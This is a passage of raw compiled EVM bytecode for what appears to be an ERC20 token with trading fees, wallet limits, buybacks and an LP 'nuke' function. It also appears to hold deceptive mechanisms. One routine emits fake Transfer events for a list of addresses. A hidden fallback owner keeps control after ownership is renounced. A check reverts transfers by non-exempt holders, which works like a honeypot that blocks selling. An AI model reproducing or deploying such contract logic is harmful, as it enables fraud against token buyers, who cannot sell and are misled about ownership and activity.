2af8484846129fe565b611370846112bb6127af565b61136b85604051806060016040528060288152602001615b8960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113216127af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461356f9092919063ffffffff16565b6127b7565b600190509392505050565b611383612980565b60005b83839050811015611452578383828181106113a4576113a3614cc4565b5b90506020020160208101906113b99190614308565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161143791906143be565b60405180910390a3808061144a90614cf3565b915050611386565b50505050565b61dead81565b60175481565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b602460019054906101000a900460ff1681565b60006009905090565b602460039054906101000a900460ff1681565b60006115926114f66127af565b8461158d85600360006115076127af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d390919063ffffffff16565b6127b7565b6001905092915050565b60606000600b80546115ad906148b3565b9050116115c95760405180602001604052806000815250611655565b600b80546115d6906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054611602906148b3565b801561164f5780601f106116245761010080835404028352916020019161164f565b820191906000526020600020905b81548152906001019060200180831161163257829003601f168201915b50505050505b905090565b611662612980565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600046905090565b60235481565b602460049054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611794612980565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61185a612980565b61025883101561189f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189690614dad565b60405180910390fd5b6103e882111580156118b2575060008210155b6118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890614e3f565b60405180910390fd5b826017819055508160168190555080602460016101000a81548160ff021916908315150217905550505050565b6000611928612980565b6000602460036101000a81548160ff0219169083151502179055506001905090565b606060098054611959906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054611985906148b3565b80156119d25780601f106119a7576101008083540402835291602001916119d2565b820191906000526020600020905b8154815290600101906020018083116119b557829003601f168201915b5050505050905090565b6119e4612980565b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b611a73612980565b6001602460026101000a81548160ff0219169083151502179055506001602460046101000a81548160ff02191690831515021790555042601881905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60225481565b606060058054611b3c906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054611b68906148b3565b8015611bb55780601f10611b8a57610100808354040283529160200191611bb5565b820191906000526020600020905b815481529060010190602001808311611b9857829003601f168201915b5050505050905090565b60195481565b60155481565b601f5481565b60205481565b611bdf612980565b611be98282611d11565b5050565b6000611cb0611bfa6127af565b84611cab85604051806060016040528060258152602001615bb16025913960036000611c246127af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461356f9092919063ffffffff16565b6127b7565b6001905092915050565b60185481565b6000611cd4611ccd6127af565b84846129fe565b6001905092915050565b60296020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d19612980565b80602960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b602460029054906101000a900460ff1681565b611e10612980565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611ead91906141d4565b60405180910390a25050565b611ec1612980565b633b9aca006103e86005611ed36111ed565b611edd9190614b90565b611ee79190614c01565b611ef19190614c01565b811015611f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2a90614ed1565b60405180910390fd5b633b9aca0081611f439190614b90565b60108190555050565b611f54612980565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611fc2600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119dc565b50565b6060600a8054611fd4906148b3565b80601f0160208091040260200160405190810160405280929190818152602001828054612000906148b3565b801561204d5780601f106120225761010080835404028352916020019161204d565b820191906000526020600020905b81548152906001019060200180831161203057829003601f168201915b5050505050905090565b602460059054906101000a900460ff1681565b60115481565b600061207a612980565b620186a060016120886111ed565b6120929190614b90565b61209c9190614c01565b8210156120de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d590614f63565b60405180910390fd5b6103e8600a6120eb6111ed565b6120f59190614b90565b6120ff9190614c01565b821115612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614ff5565b60405180910390fd5b8160128190555060019050919050565b600b805461215e906148b3565b80601f016020809104026020016040519081016040528092919081815260200182805461218a906148b3565b80156121d75780601f106121ac576101008083540402835291602001916121d7565b820191906000526020600020905b8154815290600101906020018083116121ba57829003601f168201915b505050505081565b601c5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60606008805461227b906148b3565b80601f01602080910402602001604051908101604052809291908181526020018280546122a7906148b3565b80156122f45780601f106122c9576101008083540402835291602001916122f4565b820191906000526020600020905b8154815290600101906020018083116122d757829003601f168201915b5050505050905090565b612306612980565b80600b90816123159190615015565b5050565b60125481565b612327612980565b60005b838390508110156123c657816025600086868581811061234d5761234c614cc4565b5b90506020020160208101906123629190614308565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806123be90614cf3565b91505061232a565b50505050565b601a5481565b6123da612980565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244090615159565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60215481565b60105481565b600061251c612980565b60145460155461252c9190615179565b421161256d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612564906151f9565b60405180910390fd5b6103e88211156125b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a99061528b565b60405180910390fd5b4260158190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401612616919061451e565b602060405180830381865afa158015612633573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061265791906152c0565b90506000612682612710612674868561363190919063ffffffff16565b6136ab90919063ffffffff16565b905060008111156126bd576126bc600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836136f5565b5b600060296000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561278b57600080fd5b505af115801561279f573d6000803e3d6000fd5b5050505060019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281d9061535f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288c906153f1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161297391906143be565b60405180910390a3505050565b6129886127af565b73ffffffffffffffffffffffffffffffffffffffff166129a661398c565b73ffffffffffffffffffffffffffffffffffffffff16146129fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f39061545d565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906154ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad390615581565b60405180910390fd5b4360138190555060008103612afc57612af7838360006136f5565b61356a565b602460039054906101000a900460ff16156131135761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612b825750612b52611ad8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bbb5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bfa5750612bca611ad8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612c135750602460009054906101000a900460ff16155b1561311257602460029054906101000a900460ff16612d0d57602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612ccd5750602760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d03906155ed565b60405180910390fd5b5b602460059054906101000a900460ff1615612ed757612d2a611ad8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612db157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e0b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ed65743602660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e88906156a5565b60405180910390fd5b43602660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fca57601154811115612f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f6490615737565b60405180910390fd5b601054612f7983611743565b82612f849190615179565b1115612fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbc906157a3565b60405180910390fd5b613111565b602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661306557601154811115613060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161305790615835565b60405180910390fd5b613110565b602860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661310f576010546130c283611743565b826130cd9190615179565b111561310e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613105906157a3565b60405180910390fd5b5b5b5b5b5b601354600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061316430611743565b9050600060125482101590508080156131895750602460049054906101000a900460ff165b80156131a25750602460009054906101000a900460ff16155b80156131f85750602760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561324e5750602760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613292576001602460006101000a81548160ff0219169083151502179055506132766139a0565b6000602460006101000a81548160ff0219169083151502179055505b602460009054906101000a900460ff161580156132bb5750602460019054906101000a900460ff165b156132cb576132c985613b28565b505b6000602460009054906101000a900460ff16159050602760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133815750602760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561338b57600090505b6000811561355a5760006023541115613466576133c660646133b86023548861363190919063ffffffff16565b6136ab90919063ffffffff16565b9050602354602154826133d99190614b90565b6133e39190614c01565b601e60008282546133f49190615179565b925050819055506023546020548261340c9190614b90565b6134169190614c01565b601f60008282546134279190615179565b925050819055506023546022548261343f9190614b90565b6134499190614c01565b601d600082825461345a9190615179565b92505081905550613536565b6000601c54111561353557613499606461348b601c548861363190919063ffffffff16565b6136ab90919063ffffffff16565b9050601c54601a54826134ac9190614b90565b6134b69190614c01565b601e60008282546134c79190615179565b92505081905550601c54601954826134df9190614b90565b6134e99190614c01565b601f60008282546134fa9190615179565b92505081905550601c54601b54826135129190614b90565b61351c9190614c01565b601d600082825461352d9190615179565b925050819055505b5b600081111561354b5761354a8730836136f5565b5b80856135579190615855565b94505b6135658787876136f5565b505050505b505050565b60008383111582906135b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135ae91906140af565b60405180910390fd5b50600083856135c69190615855565b9050809150509392505050565b60008082846135e29190615179565b905083811015613627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161361e906158d5565b60405180910390fd5b8091505092915050565b600080830361364357600090506136a5565b600082846136519190614b90565b90508284826136609190614c01565b146136a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161369790615967565b60405180910390fd5b809150505b92915050565b60006136ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c35565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161375b906154ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036137d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137ca90615581565b60405180910390fd5b6137de838383613c98565b61384a81604051806060016040528060268152602001615b6360269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461356f9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138df81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161397f91906143be565b60405180910390a3505050565b600080613997613c9d565b90508091505090565b60006139ab30611743565b90506000601f54601d54601e546139c29190615179565b6139cc9190615179565b90506000808314806139de5750600082145b156139eb57505050613b26565b60146012546139fa9190614b90565b831115613a13576014601254613a109190614b90565b92505b6000600283601e5486613a269190614b90565b613a309190614c01565b613a3a9190614c01565b90506000613a518286613d4190919063ffffffff16565b90506000479050613a6182613d8b565b6000613a768247613d4190919063ffffffff16565b90506000601e819055506000601d819055506000601f81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613ad6906159b8565b60006040518083038185875af1925050503d8060008114613b13576040519150601f19603f3d011682016040523d82523d6000602084013e613b18565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613b64919061451e565b602060405180830381865afa158015613b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ba591906152c0565b90506000613bbe601654836135d390919063ffffffff16565b9050613bc984613fc8565b158015613c175750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460135411155b15613c2a5760008114613c2957600080fd5b5b600192505050919050565b60008083118290613c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c7391906140af565b60405180910390fd5b5060008385613c8b9190614c01565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d185760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d3c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613d8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061356f565b905092915050565b6000600267ffffffffffffffff811115613da857613da76146b0565b5b604051908082528060200260200182016040528015613dd65781602001602082028036833780820191505090505b5090503081600081518110613dee57613ded614cc4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eb791906159e2565b81600181518110613ecb57613eca614cc4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f30307f0000000000000000000000000000000000000000000000000000000000000000846127b7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613f92959493929190615b08565b600060405180830381600087803b158015613fac57600080fd5b505af1158015613fc0573d6000803e3d6000fd5b505050505050565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561405957808201518184015260208101905061403e565b60008484015250505050565b6000601f19601f8301169050919050565b60006140818261401f565b61408b818561402a565b935061409b81856020860161403b565b6140a481614065565b840191505092915050565b600060208201905081810360008301526140c98184614076565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614110826140e5565b9050919050565b61412081614105565b811461412b57600080fd5b50565b60008135905061413d81614117565b92915050565b6000819050919050565b61415681614143565b811461416157600080fd5b50565b6000813590506141738161414d565b92915050565b600080604083850312156141905761418f6140db565b5b600061419e8582860161412e565b92505060206141af85828601614164565b9150509250929050565b60008115159050919050565b6141ce816141b9565b82525050565b60006020820190506141e960008301846141c5565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112614214576142136141ef565b5b8235905067ffffffffffffffff811115614231576142306141f4565b5b60208301915083600182028301111561424d5761424c6141f9565b5b9250929050565b60008060008060008060608789031215614271576142706140db565b5b600087013567ffffffffffffffff81111561428f5761428e6140e0565b5b61429b89828a016141fe565b9650965050602087013567ffffffffffffffff8111156142be576142bd6140e0565b5b6142ca89828a016141fe565b9450945050604087013567ffffffffffffffff8111156142ed576142ec6140e0565b5b6142f989828a016141fe565b92509250509295509295509295565b60006020828403121561431e5761431d6140db565b5b600061432c8482850161412e565b91505092915050565b6000819050919050565b600061435a614355614350846140e5565b614335565b6140e5565b9050919050565b600061436c8261433f565b9050919050565b600061437e82614361565b9050919050565b61438e81614373565b82525050565b60006020820190506143a96000830184614385565b92915050565b6143b881614143565b82525050565b60006020820190506143d360008301846143af565b92915050565b6000602082840312156143ef576143ee6140db565b5b60006143fd84828501614164565b91505092915050565b60008060006060848603121561441f5761441e6140db565b5b600061442d8682870161412e565b935050602061443e8682870161412e565b925050604061444f86828701614164565b9150509250925092565b60008083601f84011261446f5761446e6141ef565b5b8235905067ffffffffffffffff81111561448c5761448b6141f4565b5b6020830191508360208202830111156144a8576144a76141f9565b5b9250929050565b6000806000604084860312156144c8576144c76140db565b5b600084013567ffffffffffffffff8111156144e6576144e56140e0565b5b6144f286828701614459565b9350935050602061450586828701614164565b9150509250925092565b61451881614105565b82525050565b6000602082019050614533600083018461450f565b92915050565b600060ff82169050919050565b61454f81614539565b82525050565b600060208201905061456a6000830184614546565b92915050565b614579816141b9565b811461458457600080fd5b50565b60008135905061459681614570565b92915050565b6000806000606084860312156145b5576145b46140db565b5b60006145c386828701614164565b93505060206145d486828701614164565b92505060406145e586828701614587565b9150509250925092565b60008060408385031215614606576146056140db565b5b60006146148582860161412e565b925050602061462585828601614587565b9150509250929050565b600061463a82614361565b9050919050565b61464a8161462f565b82525050565b60006020820190506146656000830184614641565b92915050565b60008060408385031215614682576146816140db565b5b60006146908582860161412e565b92505060206146a18582860161412e565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6146e882614065565b810181811067ffffffffffffffff82111715614707576147066146b0565b5b80604052505050565b600061471a6140d1565b905061472682826146df565b919050565b600067ffffffffffffffff821115614746576147456146b0565b5b61474f82614065565b9050602081019050919050565b82818337600083830152505050565b600061477e6147798461472b565b614710565b90508281526020810184848401111561479a576147996146ab565b5b6147a584828561475c565b509392505050565b600082601f8301126147c2576147c16141ef565b5b81356147d284826020860161476b565b91505092915050565b6000602082840312156147f1576147f06140db565b5b600082013567ffffffffffffffff81111561480f5761480e6140e0565b5b61481b848285016147ad565b91505092915050565b60008060006040848603121561483d5761483c6140db565b5b600084013567ffffffffffffffff81111561485b5761485a6140e0565b5b61486786828701614459565b9350935050602061487a86828701614587565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806148cb57607f821691505b6020821081036148de576148dd614884565b5b50919050565b600082905092915050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026149517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82614914565b61495b8683614914565b95508019841693508086168417925050509392505050565b600061498e61498961498484614143565b614335565b614143565b9050919050565b6000819050919050565b6149a883614973565b6149bc6149b482614995565b848454614921565b825550505050565b600090565b6149d16149c4565b6149dc81848461499f565b505050565b5b81811015614a00576149f56000826149c9565b6001810190506149e2565b5050565b601f821115614a4557614a16816148ef565b614a1f84614904565b81016020851015614a2e578190505b614a42614a3a85614904565b8301826149e1565b50505b505050565b600082821c905092915050565b6000614a6860001984600802614a4a565b1980831691505092915050565b6000614a818383614a57565b9150826002028217905092915050565b614a9b83836148e4565b67ffffffffffffffff811115614ab457614ab36146b0565b5b614abe82546148b3565b614ac9828285614a04565b6000601f831160018114614af85760008415614ae6578287013590505b614af08582614a75565b865550614b58565b601f198416614b06866148ef565b60005b82811015614b2e57848901358255600182019150602085019450602081019050614b09565b86831015614b4b5784890135614b47601f891682614a57565b8355505b6001600288020188555050505b50505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614b9b82614143565b9150614ba683614143565b9250828202614bb481614143565b91508282048414831517614bcb57614bca614b61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614c0c82614143565b9150614c1783614143565b925082614c2757614c26614bd2565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614c8e602f8361402a565b9150614c9982614c32565b604082019050919050565b60006020820190508181036000830152614cbd81614c81565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614cfe82614143565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203614d3057614d2f614b61565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614d9760338361402a565b9150614da282614d3b565b604082019050919050565b60006020820190508181036000830152614dc681614d8a565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614e2960308361402a565b9150614e3482614dcd565b604082019050919050565b60006020820190508181036000830152614e5881614e1c565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614ebb60248361402a565b9150614ec682614e5f565b604082019050919050565b60006020820190508181036000830152614eea81614eae565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614f4d60358361402a565b9150614f5882614ef1565b604082019050919050565b60006020820190508181036000830152614f7c81614f40565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614fdf60328361402a565b9150614fea82614f83565b604082019050919050565b6000602082019050818103600083015261500e81614fd2565b9050919050565b61501e8261401f565b67ffffffffffffffff811115615037576150366146b0565b5b61504182546148b3565b61504c828285614a04565b600060209050601f83116001811461507f576000841561506d578287015190505b6150778582614a75565b8655506150df565b601f19841661508d866148ef565b60005b828110156150b557848901518255600182019150602085019450602081019050615090565b868310156150d257848901516150ce601f891682614a57565b8355505b6001600288020188555050505b505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061514360268361402a565b915061514e826150e7565b604082019050919050565b6000602082019050818103600083015261517281615136565b9050919050565b600061518482614143565b915061518f83614143565b92508282019050808211156151a7576151a6614b61565b5b92915050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b60006151e360208361402a565b91506151ee826151ad565b602082019050919050565b60006020820190508181036000830152615212816151d6565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000615275602a8361402a565b915061528082615219565b604082019050919050565b600060208201905081810360008301526152a481615268565b9050919050565b6000815190506152ba8161414d565b92915050565b6000602082840312156152d6576152d56140db565b5b60006152e4848285016152ab565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061534960248361402a565b9150615354826152ed565b604082019050919050565b600060208201905081810360008301526153788161533c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006153db60228361402a565b91506153e68261537f565b604082019050919050565b6000602082019050818103600083015261540a816153ce565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061544760208361402a565b915061545282615411565b602082019050919050565b600060208201905081810360008301526154768161543a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006154d960258361402a565b91506154e48261547d565b604082019050919050565b60006020820190508181036000830152615508816154cc565b9050919050565b7f45524332303a207472616e7366657220746f